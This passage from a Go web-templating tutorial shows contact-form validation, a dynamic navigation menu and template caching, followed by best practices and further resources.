                Label:    "Subscribe to Newsletter",
                Type:     "checkbox",
                Value:    "false",
                Required: false,
            },
        },
    }
    
    // Handle form submission
    if r.Method == "POST" {
        // Parse form data
        err := r.ParseForm()
        if err != nil {
            http.Error(w, "Error parsing form", http.StatusBadRequest)
            return
        }
        
        // Update field values from form data
        for i, field := range form.Fields {
            form.Fields[i].Value = r.FormValue(field.Name)
        }
        
        // Basic validation
        valid := true
        
        // Name validation
        name := strings.TrimSpace(r.FormValue("name"))
        if name == "" && form.Fields[0].Required {
            form.Fields[0].Error = "Name is required"
            valid = false
        }
        
        // Email validation
        email := strings.TrimSpace(r.FormValue("email"))
        if email == "" && form.Fields[1].Required {
            form.Fields[1].Error = "Email is required"
            valid = false
        } else if !strings.Contains(email, "@") {
            form.Fields[1].Error = "Please enter a valid email address"
            valid = false
        }
        
        // Subject validation
        subject := r.FormValue("subject")
        if subject == "" && form.Fields[2].Required {
            form.Fields[2].Error = "Please select a subject"
            valid = false
        }
        
        // Message validation
        message := strings.TrimSpace(r.FormValue("message"))
        if message == "" && form.Fields[3].Required {
            form.Fields[3].Error = "Message is required"
            valid = false
        } else if len(message) < 10 {
            form.Fields[3].Error = "Message must be at least 10 characters"
            valid = false
        }
        
        form.HasErrors = !valid
        
        // Process valid form
        if valid {
            // In a real application, you would process the form data here
            // (e.g., send email, save to database)
            
            // Redirect to thank you page
            http.Redirect(w, r, "/thank-you", http.StatusSeeOther)
            return
        }
    }
    
    // Parse and execute the template
    tmpl := template.Must(template.New("contactForm").Parse(formTemplate))
    tmpl.Execute(w, form)
}

Example 3: Dynamic Navigation Menu

package main
 
import (
    "html/template"
    "net/http"
)
 
type MenuItem struct {
    Label    string
    URL      string
    Active   bool
    Children []MenuItem
}
 
type NavigationData struct {
    Items      []MenuItem
    UserLoggedIn bool
    UserRole    string
}
 
const navigationTemplate = `
<nav class="main-nav">
    <ul class="nav-list">
        {{range .Items}}
        <li class="nav-item {{if .Active}}active{{end}} {{if .Children}}has-dropdown{{end}}">
            <a href="{{.URL}}" class="nav-link">{{.Label}}</a>
            
            {{if .Children}}
            <ul class="dropdown-menu">
                {{range .Children}}
                <li class="dropdown-item {{if .Active}}active{{end}}">
                    <a href="{{.URL}}">{{.Label}}</a>
                </li>
                {{end}}
            </ul>
            {{end}}
        </li>
        {{end}}
        
        {{if .UserLoggedIn}}
        <li class="nav-item user-menu">
            <a href="/account" class="nav-link">My Account</a>
            <ul class="dropdown-menu">
                <li><a href="/profile">Profile</a></li>
                <li><a href="/orders">Orders</a></li>
                {{if eq .UserRole "admin"}}
                <li><a href="/admin">Admin Panel</a></li>
                {{end}}
                <li><a href="/logout">Logout</a></li>
            </ul>
        </li>
        {{else}}
        <li class="nav-item">
            <a href="/login" class="nav-link">Login</a>
        </li>
        <li class="nav-item">
            <a href="/register" class="nav-link">Register</a></li>
        {{end}}
    </ul>
</nav>
`
 
func navigationHandler(w http.ResponseWriter, r *http.Request) {
    // Current path to determine active item
    currentPath := r.URL.Path
    
    // Create navigation data
    nav := NavigationData{
        UserLoggedIn: r.URL.Query().Get("logged_in") == "true",
        UserRole:     r.URL.Query().Get("role"),
        Items: []MenuItem{
            {
                Label:  "Home",
                URL:    "/",
                Active: currentPath == "/",
            },
            {
                Label:  "Products",
                URL:    "/products",
                Active: currentPath == "/products" || strings.HasPrefix(currentPath, "/products/"),
                Children: []MenuItem{
                    {
                        Label:  "Electronics",
                        URL:    "/products/electronics",
                        Active: currentPath == "/products/electronics",
                    },
                    {
                        Label:  "Clothing",
                        URL:    "/products/clothing",
                        Active: currentPath == "/products/clothing",
                    },
                    {
                        Label:  "Home & Kitchen",
                        URL:    "/products/home-kitchen",
                        Active: currentPath == "/products/home-kitchen",
                    },
                },
            },
            {
                Label:  "Services",
                URL:    "/services",
                Active: currentPath == "/services",
            },
            {
                Label:  "About",
                URL:    "/about",
                Active: currentPath == "/about",
            },
            {
                Label:  "Contact",
                URL:    "/contact",
                Active: currentPath == "/contact",
            },
        },
    }
    
    // Parse and execute the template
    tmpl := template.Must(template.New("navigation").Parse(navigationTemplate))
    tmpl.Execute(w, nav)
}

Template Performance and Best Practices

Performance Optimization

Templates should be parsed once and reused for better performance:

package main
 
import (
    "html/template"
    "log"
    "net/http"
    "sync"
)
 
// Template cache with mutex for thread safety
var (
    templateCache = make(map[string]*template.Template)
    templateMutex sync.RWMutex
)
 
// Load or retrieve template from cache
func getTemplate(name string, files ...string) (*template.Template, error) {
    // First, try to get from cache using read lock
    templateMutex.RLock()
    tmpl, exists := templateCache[name]
    templateMutex.RUnlock()
    
    if exists {
        return tmpl, nil
    }
    
    // Not in cache, parse and cache it using write lock
    tmpl, err := template.New(name).ParseFiles(files...)
    if err != nil {
        return nil, err
    }
    
    templateMutex.Lock()
    templateCache[name] = tmpl
    templateMutex.Unlock()
    
    return tmpl, nil
}
 
// Benchmark comparison
func benchmark() {
    // Approach 1: Parse every time (slow)
    http.HandleFunc("/slow", func(w http.ResponseWriter, r *http.Request) {
        tmpl, err := template.ParseFiles("templates/page.tmpl")
        if err != nil {
            http.Error(w, err.Error(), http.StatusInternalServerError)
            return
        }
        
        data := struct {
            Title string
            Items []string
        }{
            Title: "My Page",
            Items: []string{"Item 1", "Item 2", "Item 3"},
        }
        
        tmpl.Execute(w, data)
    })
    
    // Approach 2: Parse once and reuse (fast)
    var cachedTemplate = template.Must(template.ParseFiles("templates/page.tmpl"))
    
    http.HandleFunc("/fast", func(w http.ResponseWriter, r *http.Request) {
        data := struct {
            Title string
            Items []string
        }{
            Title: "My Page",
            Items: []string{"Item 1", "Item 2", "Item 3"},
        }
        
        cachedTemplate.Execute(w, data)
    })
}

Template Best Practices

  1. Organize templates logically:

    • Use a directory structure that reflects your application’s architecture
    • Separate layouts, pages, and reusable components
  2. Use consistent naming conventions:

    • Use descriptive names for templates and template files
    • Create a naming pattern for different template types
  3. Avoid logic in templates:

    • Keep complex logic in your Go code
    • Use custom functions for simple transformations
    • Prepare data structures before passing them to templates
  4. Handle errors properly:

    • Check for parsing and execution errors
    • Provide meaningful error messages
    • Have fallback templates for error cases
  5. Optimize template execution:

    • Parse templates once at startup
    • Cache parsed templates
    • Use appropriate buffer sizes for output
  6. Security considerations:

    • Always use html/template for web content
    • Be careful with template.HTML and other unescaped types
    • Validate and sanitize user input before using it in templates
  7. Testing templates:

    • Write tests for complex templates
    • Test with both valid and invalid data
    • Verify the output matches expected HTML/text

Conclusion

Go’s templating system provides a powerful way to separate your application logic from presentation. By using the techniques and patterns in this course, you can create maintainable, secure, and efficient templates for your Go applications.

The text/template and html/template packages might seem simple at first, but they offer sophisticated features like context-aware escaping, template composition, and powerful control structures that make them suitable for a wide range of applications, from simple CLI tools to complex web applications.

As you continue to work with Go templates, you’ll discover more patterns and techniques to solve specific problems. The built-in documentation, community resources, and examples will help you master this essential part of Go programming.

Further Resources

  1. Official Documentation:

  2. Books:

    • “Go Web Programming” by Sau Sheong Chang
    • “Web Development with Go” by Shiju Varghese
  3. Community Resources:

  4. Sample Projects:

    • Hugo - A popular static site generator that makes extensive use of Go templates
    • Buffalo - A web framework with template features
    • Go Kit - A toolkit for microservices that includes templating components